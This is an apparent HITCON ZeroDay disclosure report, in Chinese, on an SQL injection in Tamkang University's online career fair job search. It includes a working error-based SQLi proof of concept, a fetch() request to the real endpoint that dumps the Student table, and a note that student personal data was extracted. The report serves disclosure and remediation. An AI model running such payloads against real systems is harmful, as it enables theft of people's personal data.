Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-01161
- Vendor: 淡江大學校園徵才線上博覽會
- Title: 淡江大學校園徵才線上博覽會 搜尋職缺功能 SQLi
- Introduction: 搜尋職缺功能 SQLi
處理狀態
目前狀態
公開
Last Update : 2025/09/26
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2025/09/05 10:41:12 : 新提交 (由 yusheng 更新此狀態)
- 2025/09/07 18:15:23 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/18 18:09:54 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/18 18:09:54 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/18 18:09:54 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/09/22 15:29:58 : 複測申請中 (由 組織帳號 更新此狀態)
- 2025/09/22 18:48:56 : 確認已修補 (由 yusheng 更新此狀態)
- 2025/09/26 03:00:16 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-01161
- 通報者:cat1528985 (yusheng)
- 風險:嚴重
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://spirit.tku.edu.tw:8088/job/company/search_data_ok.php
敘述
承接 ZD-2025-01095,這次在 "搜尋職缺功能" 也找到 SQLi
PoC
- 在 PayType 參數可注入 SQLi Payload
fetch("http://spirit.tku.edu.tw:8088/job/company/search_data_ok.php", { headers: { "content-type": "application/x-www-form-urlencoded", }, body: `PayType=${encodeURIComponent(`123' then 1 else 0 end))/0.0 >= 0.5 AND 1 = CONVERT(int,(SELECT SUBSTRING((SELECT * FROM Student FOR XML PATH('')),1,400)))--`)}`, method: "POST", mode: "cors", credentials: "omit", }) .then(res => res.text()) .then(text => { const result = text.split("將 nvarchar 值 '")[1]?.split("' 轉換成資料類型 int 時")[0]; console.log(result.length); }) - 成功利用 Error-Based-SQLi 提取到學生個資
影響
- 大量學生個資外洩
修補建議
使用 Prepared Statement 替代字串拼接
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。